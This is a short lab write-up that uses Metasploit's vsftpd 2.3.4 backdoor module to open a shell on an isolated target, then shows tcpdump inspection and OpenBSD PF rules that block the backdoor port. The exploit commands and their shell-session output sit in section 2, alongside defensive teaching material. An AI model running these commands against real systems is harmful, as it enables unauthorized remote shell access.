← Back to All Writeups

Metasploit Framework in Lab: From Service Enumeration to Shell Capture and Packet-Level Detection

The Metasploit Framework (MSF) remains one of the most widely adopted offensive security platforms. However, its actual engineering value lies not in automated “point-and-click” exploitation, but in understanding the low-level memory artifacts of payloads and how network defenders detect their C2 signatures on the wire.

In this technical breakdown, we walk through an isolated lab exercise: from port scanning and vulnerability verification to payload execution and firewall rule mitigation.


1. Lab Architecture and Ethical Scope

Ethical Notice: All tests described here were performed inside an isolated hypervisor host-only network (192.168.56.0/24) with zero internet uplink.

  • Auditor: Kali Linux (192.168.56.10)
  • Target: Legacy Linux Host (192.168.56.20:21 - vulnerable service demonstration)
  • Sensor / Gateway: OpenBSD Packet Filter node with tcpdump and pflog0 inspection (192.168.56.1).

2. Exploitation Execution

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.20
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.20:21 - Backdoor triggered! Connecting to shell on port 6200...
[*] Command shell session 1 opened (192.168.56.10:43210 -> 192.168.56.20:6200)

3. Blue Team Perspective: Packet-Level Analysis and PF Rules

Inspecting the payload trigger with tcpdump:

tcpdump -n -i vio0 -X 'port 21 or port 6200'

Perimeter Mitigation with OpenBSD PF

# /etc/pf.conf - Strict egress and ingress policy
set block-policy drop
block in log all

# Only allow declared service ports; drop all unexpected ephemeral backdoor ports
pass in quick on $ext_if proto tcp to 192.168.56.20 port 21 keep state
# Unauthorized backdoors on port 6200 are instantly dropped and logged to pflog0

4. Key Takeaways

  1. Exploitation is only the beginning: Real expertise involves tracing memory injection techniques and identifying unauthorized network beacons.
  2. Defense in Depth: Daemons must never run as unconfined root. Process isolation (chroot), least privilege users, and kernel packet filtering eliminate lateral movement.